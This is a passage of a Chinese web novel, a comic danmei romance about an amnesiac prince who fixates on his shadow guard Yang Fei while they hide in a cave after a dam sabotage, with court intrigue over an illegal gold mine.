他们两个可都是男子! 恩人接受不了可怎么办? 那他还能不能有机会了? 王爷有点崩溃,他想象不出来会有哪种正常人能做出这种举动,又有哪种正常人在反思的时候竟然还会思考对方的身材。 恩人啊恩人,像他这种登徒子完全不值得救啊! “在下真是唐突了!” 王爷两只手就那么抬在半空中不知道该放在哪里,慌里慌张地对着自己的救命恩人道歉,心里骂了八百遍自己没寻思报恩也就算了,竟然还调戏恩人,活该去下地狱。 他小心翼翼地看着恩人,忐忑到心跳加速得像飞出来。 王爷现在虚弱的力道就算是捏了杨妃的胳膊两下也没有太大的感觉,但那点动静已经足够唤醒杨妃的神智了。 他深呼了一口气猛地睁开眼睛,眼神中已经多了两丝清明。 是他的过错,他应该冷静地把王爷的身份和他们的关系以及现在的情况简明扼要地汇报给王爷的。 杨妃这般想着,便打算告诉失忆的王爷真相。 却不成想王爷说话的速度比他还快,一连串的对不起之间连喘气儿都没有。 杨妃和王爷那双忐忑后悔的眼神对上,没能猜到失忆的王爷到底是怎么了,但他却不能继续放任王爷这样给他一个影卫道歉。 而且他觉得王爷那双明亮的眼睛眼角好似都有些发红,本就生病虚弱的人身上还平添了两分脆弱感。 感觉王爷好像要碎掉了。 杨妃不敢让王爷继续胡思乱想下去,他怕王爷一个没忍住在自己面前哭出声来。 若真是如此…… 等王爷恢复了记忆可怎么办? 就王爷平常那么注重自己的形象,这样丢脸的姿态展示在别人面前,王爷这辈子都忘不了的。 他绝对会觉得羞耻。 杨妃眼见王爷撑着没什么力气的身体挣扎着,大有要扑到他面前道歉的架势,连忙抢先一步开口,竹筒倒豆子似地将王爷的身份和他们两个的关系讲述清楚。 天娘啊,失忆的王爷和他之间都没了默契了。 这一刻杨妃真想狠狠地扇之前那个抱怨和王爷太过默契的自己。 有些东西失去了才知道有多珍贵! 头脑空空的王爷睁开眼睛的时候到底是怎么想的,是怎么顺理成章十分自然地把他们两个的关系定位成救命之恩的呢? 杨妃百思不得其解,和王爷讲解他的身份时着重强调了他们俩之间的主仆关系,尤其告诉他保护他的安危是他这个影卫应该做的。 所以不要再想着报恩了! 硬要说的话,置主子于险境,受罚才是正常的啊! 杨妃恨自己被失忆的王爷搞懵了,听了那么多句报恩的话,他感觉身上的寿数都少了一半。 王爷被他定义成哑巴的救命恩人短时间内输入了大量信息,发昏的脑子更不灵光了。 他阿巴阿巴地张着嘴,完全不知道王爷应该做些什么,只觉得这世界有一种不真实感。 但是…… 他歪着头认真地重新打量着杨妃,陷入了沉思。 【如果我真是他的主人……】 【那是不是做什么都可以?】《 》 60-70 第61章 他面前这个人真是叫他越看越觉得喜欢,胸腔中喷薄的爱意随着心跳难以压制,这种感觉让他虚弱的身体中都凭空生出了力量。 就比如现在他就有劲儿抬起手去摸那人的脸。 虽然被杨妃抓住了没能成功。 抓住王爷的这一点动作对杨妃来说那可是要比抓住暗器还要费神的。 他只当没看出来王爷想去摸他的脸,愣是从自己破破烂烂的衣服上撕下来一块相对来说还算干净的,把王爷那双皮肤白皙的爪子又擦了一遍,然后放在他身侧。 他现在又不敢去看王爷的眼神了,低着脑袋弯着腰,躲避所有可能和王爷发生的对视。 太可怕了。 杨妃默默地想。 失忆之后的王爷比之前可怕千倍万倍。 明明刚才还在问他自己是谁,之后说的也都是救命恩人之类,可谁能想到他才解释了一番他们俩之间的关系,王爷竟然就直接能想到那里呢? 还什么“身为主人是不是就能为所欲为了”? 王爷啊王爷,你失忆之前都没这么想过啊。 而且自从你醒来发现自己失忆到清楚自己身份都没有一炷香的时间吧? 在如此短的时间内到底是怎么做到的对新身份接受得如此痛快,并且如鱼得水一般地想行使身份的权力的? 这也太自然了吧! 杨妃难以置信,真想仰头怒斥苍天,他家王爷只是失忆了,也不至于性格大变模样吧? 将他那个克制、守礼、好面子的王爷还回来啊! 之前王爷心里想的再花花他都没有太担心,因为他知道王爷不会做出强取豪夺的事来,也不会仗着主人的身份强行满足自己的心愿。 顶多也就是心里想想,或者找找借口拉近一些距离罢了,对这些他早就有了一套成熟的应对方法。 可没人告诉他如果王爷失忆之后不讲原则了他应该怎么办啊? 大概是杨妃低头低的时间太长了,他只感到一阵阵头晕,眼前也一片片地冒出金星,端的是一副摇摇欲坠的模样。 “那个……杨妃啊,你怎么了?” 王爷被他这样子吓了一跳,眼见着他跪坐在那里身体晃悠,本能大过脑子,直接伸手将杨妃揽进怀里,正对上他惊愕抬起的脸,连说话都有些磕巴。 【这这这,好近!】 失忆版的王爷干咽了一口唾沫,以如此的距离直面杨妃的脸,让他心跳都停跳了几拍。 【别拿这个来考验我啊!真的有点遭不住啊!】 【可他说我是他的主人……】 【若是我真的……应该也行吧?】 王爷的眼神逐渐放空,脸颊飞速漫上两抹红晕,连耳尖都有发红的趋势。 他认真地看着杨妃,两个人距离近到都能数清对方有几根眼毛。 【失忆之前的自己过的是什么样的神仙日子啊?】 王爷对他失去的记忆耿耿于怀,胳膊本能用力将他揽的更紧了一些。 这个杨妃处处都合他心意,虽然现在看上去有些狼狈的样子,可他却更感觉到怜惜。 失忆之前的自己也太废物了,连自己人都保护不好,竟然还是个王爷。 怪不得他会失忆呢。 都因为他自己是个废物啊。 王爷毫无心理负担地痛骂自己,并且暗暗发了个定要保护好自己人的誓言。 失忆版的王爷眼睛眨啊眨,毫不留情的诅咒之前的自己。 最好过去的记忆永远都x不要回来,他可不管自己现在是失忆还是什么其他别的,总归是占了那个王爷的身份,拥有了他不曾珍惜的人。 【我会好好珍惜你的。】 王爷专注地许下诺言。 这美好的人生他也会替之前那个人好好享受的! 失忆之后的王爷心声比十一之前还要大胆两分。 杨妃被用力的王爷勒的肋骨生疼,他瞠目结舌地看着目光炯炯的王爷,也有点遭不住失忆之后情绪和动作表达都如此直白的王爷。 他现在应该怎么做? 杨妃抬手抵在王爷的胸膛上,一巴掌将人推开的冲动压都压不住。 冷静,克制! 眼前这个将他揽住的人不是什么阿猫阿狗的,是他的主子! 而且是正在虚弱生病的主子! 要克制控制力道轻轻的推开,以免冲动之下再将主子推个好歹! “咳咳咳!” 杨妃用干咳掩饰自己的行动,游鱼一般地从王爷的胳膊下逃走,轻轻呼出一口气。 “主子。” 他迫切希望打破王爷那些心中的妄想,也不想让两个人之间的关系有任何变质的可能。 现在的境况对他来说太过危险,得赶紧分散王爷的注意力。 他觉得王爷就是伤病在身又刚醒来,还失忆了导致脑子里空空如也,见到什么都想往脑子里塞。 总结来说就是王爷现在闲的没事了。 也许是他刚才跟王爷说的话重点都落在他们两个之间的身份上,现在,他得给王爷好好地补补课。 “主子,我们现在的境遇危在旦夕。”杨妃虽然存了几分夸大现状让主子认清什么才是当前的重点的心思,但也不算是骗他。 实在是他们的境况已经足够危急了。 杨妃很有重点地讲述了一下他们现在遇到的那些已知的和未知的敌人,尤其是他们沦落在此地避难的原因,以及马上就可能遇到的对手。 “他们在这里私采金矿,现在因为河水决堤主要负责私运的河道总督被河水冲走,暂时脱离了幕后之人的掌控。” “但只要他们那边收到了消息,第一时间也会派人来这里接手。” 杨妃顿了顿,略带忐忑的看了一眼什么都不知道却听得无比专注的王爷。 他不知道现在的王爷如果知道了他的兄弟打算置他于死地的话,心里会怎么想,但他也没有隐瞒的意思。 那样做也没有意义。 于是他说出了自己基于现有证据的推断,“这幕后之人极有可能是四皇子,也就是主子的弟弟。” “那河道总督就是他的人。” “待到他在京中接到了这边的消息,尤其是河道总督和主子一起被河水冲走,他一定会派人来的。” “既为了接手这边的金矿,也为了确保主子就死在这里。” 杨妃说到这里忽地睁大了眼睛,死里逃生之后他需要做的事情太多,这一次向王爷叙述也称得上是他头一回梳理这一切。 便也发现了问题所在。 那些使用火雷的可不是四皇子的人! “那日的河堤本能抵抗河水侵袭,可最后参与抗洪的民工中却有很多人掏出了火雷,生生地将自己和河堤一并炸得粉身碎骨,这才导致河水决堤,河堤上的所有人都被河水冲走。” 杨妃让自己冷静下来,头脑转得飞快,将那些细节一一串联。 “之前河道总督手底下便丢失了大量的火雷不知去向,现在看来那些用来炸毁堤坝的火雷很有可能就是丢失的。” “动手炸毁堤坝的人应当也不是四皇子派来的,这些人若是他派来的,虽然能杀了……主子。”杨妃仔细观察着王爷的表情,见他只是两眼放空,未见仓皇难受之色,便大胆地继续向下说。 “但也会弄死河道总督,而且王爷之前已经向京中去了折子,折子上说了河道总督看管火雷不当致使其丢失,此刻王爷又因此遇险,事情查起来,四皇子难辞其咎。” “如此行事,不仅折损他手下一名身居要位的官员,又引火烧身,实不划算。” “所以属下斗胆猜测,炸毁堤坝的人不是四皇子的人。” 王爷一言不发,杨妃就继续大胆的往下说。 “此人借河道总督的火雷炸毁堤坝,技能杀了主子,又能将脏水泼到四皇子身上,许是一箭双雕之策。” 杨妃抿了抿嘴,他不知道设计了这场阴谋的人知不知道河道总督还看管着一个私采的金矿。 不不不。 一定不知道。 杨妃迅速推翻了自己的猜测。 如果那些人知道河道总督这里还有一个私采金矿的话他们不可能放任这些金矿不管,这会儿他们在的这里还不能如此安静。 “主子,这里实在不安全,外面恐怕也有不少人暗中搜寻主子的下落,我们须得想办法赶紧回到京中或寻个安全的地方才行。” 王爷见杨妃也不说话了,好像是一副等待他命令的架势,一时之间只感觉自己头脑空空的要命,根本不知道该干些什么。 他虽然很快就接受了王爷这种身份,但也不代表马上就能上手啊? 他尴尬地摸了摸鼻子,嘴唇颤抖着也没说出来一个决策,于是他对着杨妃露出了一个笑容,很是信任地伸手搭在他肩膀上轻轻捏了捏。 “我相信你。” 王爷非常坦荡地把他对杨妃的信任摆在脸上,对杨妃说的所有话都乖乖地听着。 “主子,我们先恢复下体力,便着手返回京中,争取最快与京中取得联系。” “等在这里遇险的消息传回去,想必京中王府里的影卫也会向这边搜寻而来的。” “属下会沿途留下专有记号。” 杨妃心里的算盘打得叮当响,他不只要把王爷平安地带回去,还想从这金矿上撕下一口肉来。 就算不能,也要留个记号,等回了京中直接举报给皇帝也是好的。 反正只要四皇子得不着,那就是他家王爷得着了。 “好,都听你的。” 王爷自然无有不可的,他看向杨妃的眼神中满是欣赏,勾起的嘴角中还带着一丝自得。 他可真是好眼光啊,无论是失忆前还是现在都是。 选的影卫不光容貌出众,就连智商也一骑绝尘。 就连生火的动作都是那样的潇洒。 【真是越看越觉得喜欢。】 王爷专注又痴迷。 【方才我事事都听他的,礼尚往来,他是不是也该事事都听我的了?】 第62章 不是? 礼尚往来是这个意思吗? 杨妃添柴的手一抖,手背差点被火苗燎了一下。 他沉默的将之前留出来的兔肉放在火上热了热,然后搁在叶子上递到王爷手里。 赶紧吃点东西吧,王爷。 嘴里嚼着东西,脑子里就不要胡思乱想了哦。 条件有限,肉的卖相很一般,杨妃还担心向来食不厌精的王爷会嫌弃。 但他显然想多了。 又失忆又饿得不行的王爷压根就不挑。 他单手拿起肉直接塞进了嘴里,越嚼越慢、越嚼越慢。 “……” 这兔子是又瘦又老,肉也非常有“嚼劲”,但也不至于这么难以下咽吧。 他装作不经意地盯着王爷的喉结,眼见着他咽东西的时候还伸了伸脖子,又若无其事地挪开。 没办法,现在的条件就这样。 杨妃有点心虚地想,等他们找了能安身的地方一定会让王爷吃点好的。 不过现在么…… 现在这会儿连点水都没有,有的吃已经很不错了,就先将就着吧。 还好王爷失忆了。 不然这种放在树叶上的东西,能不能吃的下去都不一定。 杨妃用树枝扒拉着火堆,支楞着耳朵听着王爷和洞外的动静,心里估算着时间。 朱柿出去已经有一阵了,不知道他能不能给王爷找点别的东西。 捡回来的野果被杨妃拿在手里,他看了看显然沾着灰尘的果子,又看了看自己和抹布差不了多少的衣袖。 再直接把果子给王爷和用衣袖擦一擦再把果子给王爷之间选择了用手敷衍地蹭了蹭。 其实他是可以用内力震掉果子上的灰尘的…… 但是吧…… 现在情况危急,内力这东西又不是一时半刻就能恢复到满状态的,还是得精打细算才行。 王爷就算没失忆也能理解他的,对吧? 杨妃的心虚从来不与他人说,他屈指刮了刮自己的鼻梁,将手里的果子塞到正在艰难地嚼着肉的王爷手里。 “主子,事发突然,手上没有取水的工具,属下愧疚,这些野果虽然酸涩,但也能填补一二。” “……咳,谢谢。” 王爷正觉得这肉嚼起来腮帮嚼的酸痛,又x带着些炭火的苦味,直把自己嘴里的唾沫全都榨干了,渴的难受。 这些野果不大,他接了看都没看就往嘴里塞。 “嘶——唔。” 王爷发出了一声不太体面的声音,捂住了嘴。 “好酸。” 这野果确如杨妃说的那样,味道有些酸涩,毫无准备的王爷被这野果酸的唾液疯狂分泌,要不是他实在咳得厉害都要将果子直接吐出来了。 “是挺酸涩的哈……” 王爷一言难尽地看着被他一口咬掉一半的果子,抬头定定地望着专心摆弄火堆的杨妃,微微歪头。 【不知道为什么,我怎么总觉得他好像是故意的呢?】 【是我的错觉吗?】 【虽然他说了这果子酸涩,但总觉得他就想看我被酸到。】 这念头来的王爷都摸不着头脑,可想法却越来越强烈,就像他十分了解杨妃的为人一般。 【按他之前说的,我是他效忠的主人,他应该不至于暗戳戳地……搞我吧?】 王爷干咳了两声,手里咬着一半的果子拿起又放下,最后还是因为自己实在渴的厉害,捏着鼻子小口小口地把剩下的吃完了。 那头的杨妃面上就像什么都没发生似的,可听着王爷的心声,心里到底有多少心虚只有他自己知道。 真是的…… 王爷怎么失忆了还这么…… 怕不是在演戏刷他玩呢吧? 火堆发出轻微的噼啪声,洞里又陷入了寂静。 杨妃在火堆前枯坐着,王爷靠坐着土壁。 一片寂静之中,王爷忍了又忍,实在忍不住挪了挪身子,在土壁上蹭得簌簌响,又安静了下来。 杨妃听到动静侧头看着他,欲要起身走进,王爷连忙摆了摆手闭上眼装睡。 这人倒是处处都关注他,只是他有些不大习惯。 这土坯上凹凸不平,身下的干草也没多平整,一直就这么躺在这里他这一身细皮嫩肉的当然处处都不得劲。 王爷其实待的很不舒服,这也不是他第一次挪动身体,试图找个舒服的角度躺着了。 还得是这些传说中历经训练的影卫强啊。 王爷悄悄地睁开一只眼睛,半睁着偷看杨妃。 他不知道过去了多久,但他知道自己已经呆得浑身难受,可这个人竟能一直维持着同一个动作,丝毫不显疲态。 “那个……” 王爷试图劝自己老老实实呆着不给别人添麻烦,可到最后终究还是没能待下去,他感觉自己身上的骨头都僵住了,只能试图找个话题来分散注意力。 他张嘴起了个话头,杨妃就迅速地将注意力挪到他身上,一副乖乖倾听的模样看得只想闲聊的王爷顿时不知道说些什么了。 他抿着唇,绞尽脑汁也想不出来失忆之前的王爷平常都和影卫聊些什么。 听杨妃的意思他们主仆之间也多是他发号施令,杨妃负责执行,想必也是不曾扯东扯西地闲聊的。 可现在…… 头脑空空的他压根想不出来什么值得讨论的正事啊! 他现在脑子里能和正事扯得上边的也只有杨妃告诉他的那些,对杨妃提出的解决方法他也没有任何具有建设性的建议和决策。 以至于现在想聊天的他根本不知道说什么。 “那个……你不累吗?” 被杨妃目光灼灼地看了半天,能清晰地读懂他眼神中那种“怎么了?”的暗藏含义,王爷尴尬地屈起了腿,吭哧瘪肚地只吐出了这样一句话,后悔之情溢于言表。 “属下不累。” 喔。 杨妃端的是一副成熟稳重面不改色的影卫形象,回应王爷的话时也是一如既往地恭敬,可垂眸时眼睛却闪过一丝笑意。 王爷失忆之后可比之前可爱多了。 他有些大逆不道地想。 从前王爷就算是再想和他拉近距离和他搭话也从来都是说的正事,这还是头一回听见王爷说这种没有营养的话题。 尤其是王爷本人说完之后竟还觉得尴尬不自在,他可没错过王爷屈膝握拳的姿态。 说不定连脚趾头蜷起来了。 杨妃就算感觉到一点疲惫,也被王爷的这一幕弄得想笑,一时之间也不觉得虚了。 他是个好影卫。 饶是王爷失忆了也不能不顾王爷的脸面。 笑话王爷什么的是不可能的。 但他会将这事永远地记着。 “我们在这里要待到什么时候?”杨妃的镇定和句句有回应很好地安抚了王爷,“不是说此地不宜久留吗?” 冷静下来的王爷脑子灵光不少,杨妃却更心虚了。 他拿树枝插在火堆之中,伸手抬了一下燃烧的树枝让火烧得更旺些,语气一如既往,“主子,朱柿在外出探查,带他回来了缓和些体力,再做打算。” “朱柿?” 王爷眨了眨眼睛,思索了一下这个名字,觉得陌生的很。 杨妃很自然地接着王爷的话把朱柿也介绍了一番。 他暗自庆幸,还好王爷是在朱柿回来之前问的,不然那家伙又要说他独占王爷的宠爱了。 王爷听着杨妃从朱柿开始,把他那些是以之前曾重用的影卫们一一介绍,不由得有些咋舌。 他这个王爷还真是不白当啊。 手底下忠心耿耿的影卫好多啊…… 王爷听着听着就坐直了身子,眼睛都闪闪发亮。 “那是不是很快就有人来找我们了?” 他满含期待地看着杨妃,他听杨妃话里话外的意思是他手底下的影卫们个个都是人中龙凤,会的绝技特长也都是数不胜数,全都是高手中的高手。 既然如此的话,应该很快就有人来找他们了吧? 然后他就可以体验一下王爷到底是什么生活了,对吧? 王爷的眼神中已经有了对美好生活的向往,面对他这样的眼神袭击,杨妃却有一点不知所措。 该死,现在否认王爷的猜想会不会显得他有些吹牛? 杨妃在内心里唉声叹气,嘴上却很诚实,“恐怕得再等上一些时日。” 实在不忍再面对王爷怀疑失落的目光,杨妃别过头,像是要把眼前这个不知道他拨弄了多少回的火堆盯出花来。 “属下等虽然随身带着信烟,可经过了洪水的浸泡已经不能用了。” “就算能用的话,现在我们所在的位置也差不多相当于敌人的后方,一旦被发现,很不好说到底是谁先找到我们。” 杨妃努力为同僚们辩解,在失意的王爷面前挽回影卫们的尊严。 “不过属下已经留下了我们的专属记号,他们也是能顺着记号找到我们的。” 只是要等一等,再等一等。 这里的消息传到京中,京中用快马将鞭昼夜不息赶来也不是一日两日的功夫。 找到他们也得需要时间。 按杨妃的计划,与其说等他们来找,还不如他们主动找安全的据点来的快。 但面对失忆之后不复从前那样从容淡定的王爷,杨妃到底还是没将这些丧气的话说出口。 “哦……这样啊。” 王爷若有所思,后知后觉地对自己的现状产生担忧。 看来他这个王爷还真是树敌不少。 “那他什么时候回来啊?”王爷看了看杨妃发白的面色,他记得这人还说过前不久才遭遇了伏击,身受重伤,命悬一线来着。 这又经历了洪水,看他的脸色就知道状态不佳。 要是现在这个时候有敌人来犯怎么办? 王爷有些忧心地攥紧拳头,另一只手捏了捏自己胳膊上的肌肉,更担心了。 他堂堂一个王爷怎么胳膊捏上去软乎乎的,现在的皇子都不学武艺的吗? “……” 杨妃能感受到自己被王爷怀疑的目光上下打量,一时之间极为无语。 “主子,他应当快回来了。” “那就好。”王爷又陷入了沉默,半晌之后挪动着身子往旁边靠了靠,然后拍了拍自己身下的干草。 “你在那里坐着不累吗?我看你脸色不好,有些虚的样子。”王爷谨慎地措辞,刀刀直捅杨妃的要害,“不如你靠在这里躺一会儿,恢复恢复?” “虽然说这些干草也有些硌,但总比你那样什么都不坐着强吧?” “主子……”杨妃被王爷的盛情邀约扑了一脸,他看了眼朱柿本就没铺多大的干草堆,瞅了瞅王爷硬给他挤出的那一小块。 他要是像王爷那样说的躺在那里,半个身子都得压在王爷身上。 不中! 这比之前躺在王爷床上还让他浑身难受。 光天化日,朗朗乾坤,孤男……有妇之夫男。 这不合适啊! 第63章 “x主子,朱柿不在,属下需在这里警戒。” 杨妃一万个不乐意,想以此为借口,拒绝王爷的“上床”邀请。 但失忆之后的王爷也是个犟种,他皱起了眉有些不满。 “不是说我是主子吗?”王爷的语气中带着控诉,“你这算不算违抗命令?” “这洞里一共才这么大点空间,从火堆到这里也不过是三四步的距离,就算你要警戒,也不差这么两步吧?” 王爷毫不留情地乘胜追击,他现在就很有不达目的不罢休的决心,神探语气竟然和没失忆之前无甚区别。 【这人嘴上说什么都听我的,结果连这么简单的要求都要反驳我。】 【而且明明是我在关心他。】 【哼。】 【不识好人心。】 “……” 刚才有那么一瞬间,杨妃都觉得王爷已经恢复了记忆,可紧接着那些在他看来甚至有点像撒娇似的心声无情地推翻了他的猜测。 杨妃更想叹气了! 失忆之后的王爷怎么这么难以捉摸! 为什么王爷失忆了之后还对他如此执着? 除了他家王爷,还有哪家的主子会关心影卫啊? “是,主子。” 杨妃不知道该为无论王爷是否有记忆都将自己放心上开心,还是该为王爷无论是否有记忆都将自己放心上头疼。 但此时此刻,王爷既然已经这么说了,把他所有的路都堵得死死的,那他也就不能再去寻找借口。 竟只能从了。 杨妃万般无奈地起了身,磨磨蹭蹭地走到王爷身边坐下,身体僵硬的像块木头,紧绷着肌肉缩着,连王爷的一点衣角都不想碰上。 他真是没招了。 王爷却还不肯放过他。 【我就知道他虚,瞧瞧就这么两步都走的这样慢这样费劲,还在那里强撑着,叫人看的都心疼。】 “……” 他没有啊!他要告王爷诽谤啊! 杨妃心知是自己刚才那种磨蹭劲儿让王爷坚定了他身体不行,更加坚定了对他的关怀。 可事实上不是那么回事儿啊! 杨妃被气得气血翻涌,真的很想抬手扇自己两巴掌。 其实他这样绷着身子比坐在土块上都累,和扎马步比起来也差不了多少了。 他就那样像木头似的紧挨着王爷坐立难安,状态诡异到失忆后的王爷都有所察觉。 王爷看着杨妃额头上滴下来的汗珠有些不明所以。 他眨了眨眼睛。 【我的影卫竟然已经虚弱到这种地步了吗?】 【走两步都会累到流汗?】 【天呐!】 【他都这个样子了我竟然还没让他退休颐养天年,而是让他跟着我四处奔波到处遇险。】 【现在更是连一件好衣服都没有身处险境。】 【我也太不是个东西了!】 王爷骂起自己来就好像骂的不是他自己一样,那叫一个毫不留情。 之前骂自己是个废物,现在又骂自己不是个东西。 杨妃真的两眼一黑,泄了气般的吭了一声。 他现在已经开始祈祷王爷恢复记忆之后,不要记得失忆时发生了什么。 不然他真怕王爷把这当做毕生的耻辱,又或是受不了这种黑历史,一头撞死在树上。 不是没有可能啊! 王爷浑然不知自己做了什么蠢事,只将自己骂了个来回,然后伸出手去摸杨妃的额头。 !!! 这又是做什么? 杨妃腾地一下转头看向王爷,眼睛睁大瞳孔震颤。 这个王爷失忆之后,怎么动作起来没轻没重的,总是对他动手动脚! 杨妃现在就像那个处于应激状态的猫,对王爷的每个动作都能给出一惊一乍的炸毛似的回应。 王爷可不觉得杨妃在抗拒,他倒觉得怪有趣的。 “还好没发热。”王爷收回了手,有些好笑地看着他。 “受伤的人就该好好休息,你若是发热了,我可要心疼死了。” 王爷想了想,露出个笑容又收了起来,微抬下巴求证似的看向杨妃,“之前那个我……是不是对你不好?” 他越想越觉得是这么一回事,遂拍着胸脯做出承诺,“从前我有多混蛋,你不要放在心上,现在我失忆了那就是一个新的开始。” “以后断然不会让你带着伤还要出来工作了。” 【从前那个我做了那么多的混账事,还不得指望我现在来擦屁股?】 王爷微抬下巴,目光闪闪发亮。 他手搭在杨妃的肩膀上用力摇晃。 “你放心,我是个大好人,绝对将你养的白白胖胖的。” “绝对不会再出现像现在这种连走路都大汗淋漓的情况了。”王爷如此保证着,对自己充满了自信,甚至有点得意。 【这人与人之间不怕对比,只怕比不过。】 【等他见了现在的我对他百般好,自然不会再怀念之前那个既废物又不是东西的王爷了。】 【嘻嘻。】 王爷的心中升起一股隐秘的欢喜,他觉得未来的每一天都充满了希望。 杨妃:天塌了啊! 杨妃的脑子一团乱麻,自打王爷失忆之后那诡异的脑回路就如同乱成一团的毛线,让他再也摸不着王爷的头脑。而且这团毛线还不是一根线组成的,总是时不时地又冒出新的线头,四处乱滚。 比如之前,比如现在。 他觉得心好累。 所谓江山易改,本性难移。 之前王爷就曾因为他汇报工作时和朱柿凑得太近而在心里狠狠地吃朱柿的醋,现在虽然和之前不尽相同,却大差不差。 杨妃用自己的项上头颅发誓,别看王爷想东想西的想了那么多,他就是在吃之前自己的醋。 至于吗? 他真的很不理解。 明明是同一个人,就这么简单明了的分出你我了? 甚至毫不留情地贬低之前的自己。 王爷你…… 希望你不会将这件事记在心上吧。 王爷对自己真是不留一点情面,连被维护的杨妃本人听着都觉得有些不适。 他不得不为之前的王爷辩解。 “主子,您误会了。” 杨妃停顿了一下,鉴于现在王爷对之前自己的百般不顺眼,他得谨慎地措辞避免引起王爷的反感和叛逆心。 “属下一直都很健康,如今这状况实乃意外。” 他不得不强调一下自己现在的身体状况,加重语气告诉失意的王爷,他一直都是身体倍儿棒地为王爷鞍前马后,这回也是健健康康地来,只不过中间遇到了一二三……等意外,这才显得他很虚弱。 可实际上他底子好得很呢! 以现在的身体状况来说,几顿大鱼大肉下肚,他就能当驴一样给王爷用。 “主子对属下很好。”杨妃为被戴上虐待属下帽子的王爷澄清,“当时属下身受重伤,主子不吝啬花销,大费周折地为属下治病。” “甚至还将床让给属下。” “世间已经没有比王爷更好的主子了。” 杨妃嘴唇颤了颤,到底没说出来那句“主子还衣不解带地照顾属下”。 他觉得这话从他嘴里说出来对于已经失忆了的王爷来说未免显得有些暧昧。 做完了个人感情陈述,杨妃眨巴着眼睛看向王爷,带着一种独特的类似濡慕般的情绪。 对他来说,无论王爷给予的那些优待在王爷心里到底是因为什么,他都是很感激的。 能做王爷的影卫,应该是他这辈子为数不多的幸运。 此刻杨妃的眼神中就好像王爷是他的全世界。 没失忆的王爷看到这眼神估计都承受不住,更何况是已经失忆了的王爷。 他直接被杨妃看得心头火热。 天呐! 他竟然如此被需要。 王爷心中喃喃,眼前这个强大又温顺还帅、又恰巧处在狼狈虚弱期的人早已在不知不觉间牵动了他的全部心神。 他什么都不记得了。 睁开眼第一眼看见的便是他。 他的身份、经历、性格,每一样都自他的嘴里缓缓展现。 杨妃也是他的全世界。 王爷这样想着,眼神中的温柔像水一般荡开。 杨妃:…… 他有点坚持不住了! 影卫的心向来如一潭死水,他的情绪来得快去得也快,那种急于展现自己急于为王爷辩白时翻涌起来的情绪在几个眨眼间就被他压下。 他这会儿看似还维持着刚才的动作和表情,实则连后颈的汗毛都炸起来了。 他又失策了。 他是能控制住自己的情绪,可王爷不能啊,失忆之后的王爷就更不能了。 被王爷用那种怪异的眼神盯着,杨妃感觉自己就像案板上的鱼肉,连扑腾都被别人的手紧紧按住,只能任人宰割。 王爷他—— 杨妃完全没想到失忆之后的王爷倒是如他所愿,不再吃自己的醋不再咒骂自己了,但却继承了王爷一直以来心中的执念,倒像是想将他直接就地正法生吞活剥了。 一时间各种王爷与影卫的话本子在他脑海里翻腾,此时两个人这种近在咫尺的距离更显得危险。 王爷,他不会直接要亲下来吧—— 杨妃瞳孔x睁大,眼见着王爷就像话本子里那样目光款款,原本放在他肩膀上的手也有顺着他胳膊向下滑的趋势,就连脖颈也做出了前倾的动作。 !!! 靠了!王爷这回难道是要来真的?! 杨妃瞳孔颤抖,便是说目眦欲裂也不为过,浑身上下更是早早地都激出了一身的白毛汗。 这可不行! 这要是真让王爷得逞了,那还不如直接杀了他来得痛快! 王爷的动作此时在杨妃的眼里好似放慢了数倍,背景音里全都是他自己无比急促的心跳。 灵敏的耳朵好似听见了血管中血液奔腾的声音。 他的心脏要炸开了。 杨妃好像能感觉王爷眨眼时睫毛带起的微风。 那一瞬间他的动作比脑子反应快,堪比面对生死一瞬的危机,浑身上下的内力本能地被全部调动,他的手就那么在自己都没反应过来的时候,死死捂上了王爷的嘴。 “老大……你——” “你这是要弑主吗?!” 第64章 !!! 杨妃像卡带一样缓缓扭头看向扛着一大堆东西一看就是满载而归的朱柿,一下就从脸红到脖子根。 这该死的早不来晚不来,偏偏在这时候回来! 他抿着嘴,手还死死的捂着王爷的嘴,一时间没有动作。 他有一种诡异的感觉不敢同别人说。 他觉得自己和王爷现在就好像那个被捉奸在床的野鸳鸯。 弯腰钻进洞口的朱柿也是不明所以,他按照杨妃说的一路潜行,果然发现了那个私采的金矿。 不过在洞口处他没有找到那两个据说想私吞金矿的人,朱柿在附近不远处蹲守了一会儿,见一直没有人影,便捏着那些被他削尖的树枝,小心翼翼向洞口里探去。 那洞里面渐行渐窄,洞壁上有一些用来照明的油灯,前行几个转弯,能见一些巨大的空腔。 那是他们这些守矿的人休整的地方,有不少补给。 朱柿没直接拿着补给走,他循着人的踪迹艺高人胆大的向里面探,倒是在里面找到了那两个符合杨妃叙述的特征的人。 只不过已经变成了尸体,镐头砸碎了他们的头颅。 他跨过地下的血泊,顺手捡起镐头当作武器,削尖的树枝被他都塞进了自己的衣襟之中,待到再往里面走一些,便进入了挖矿的隧道。 朱柿没再向里面深入,因为他在那儿就已经知道里面到底发生了什么了。 那两个起了歹心的行动效率还真是高,瞧这时间估摸是杨妃转身之后,他们就决定付诸于行动了,只是没想到他们提出这个想法想拉其他人入伙,其他人却比他们想的更多。 那些矿工干脆一不做二不休,直接群起而攻之,将那些看守他们的假官兵打得头破血流,然后自己又回矿洞中热火朝天地砍着金子,大块大块地往衣襟中塞。 甚至连那些掉在地上的碎金渣都懒得看一眼了。 朱柿捡了些他们瞧不上的零碎小块,没碰那些地上的尸体一下,还顺手拿起镐头敲在躺在地上苟延残喘的守卫头上,很是仁慈地送了他一程,免受煎熬。 他这一行可以称得上是赚得盆满钵满,就连拿的补给也是紧着挑他们库房里那些卖相好的,尤其还新得了几个水袋,能解他们的燃眉之急。 朱柿的心情可以说直到看清土洞里面的情况之前都是相当不错的。 他自觉自己这回立了大功,根本不存在的尾巴都摇得飞快,更甚者已经做起了将杨妃取而代之的美梦。 要知道杨妃出来逛一圈也就是打了个猎带几个干巴的野果子罢了,他可是直接解决了未来一段时间内的饮食问题,还有了钱! 唯一的问题就是矿洞那里起了变故,只怕他们能待在这里的时间更少了。 朱柿就这样心情非常不错的回来,才弯腰钻了进来,肩上扛着东西的大包袱,还没来得及放在地上,一抬头就看见杨妃紧挨着王爷坐着,浑身上下弥漫着一种冷肃的气息。 那只能轻而易举扭断别人脖子的手,就那么死死地摁在王爷的脸上,将王爷的嘴堵得严严实实的。 朱柿对天发誓,他那只手甚至将王爷的鼻子也一并堵上了。 连王爷的脸都被他手用力摁得发白了! 王爷都分出一只手握着他的手腕了! 这诡异的动作和两个人之间略显奇怪的关系冲击了朱柿本就不大灵光的脑子,那一瞬间他感觉自己的脑子烧着了。 在他离开的短短时间内他们两个之间到底发生了什么?! 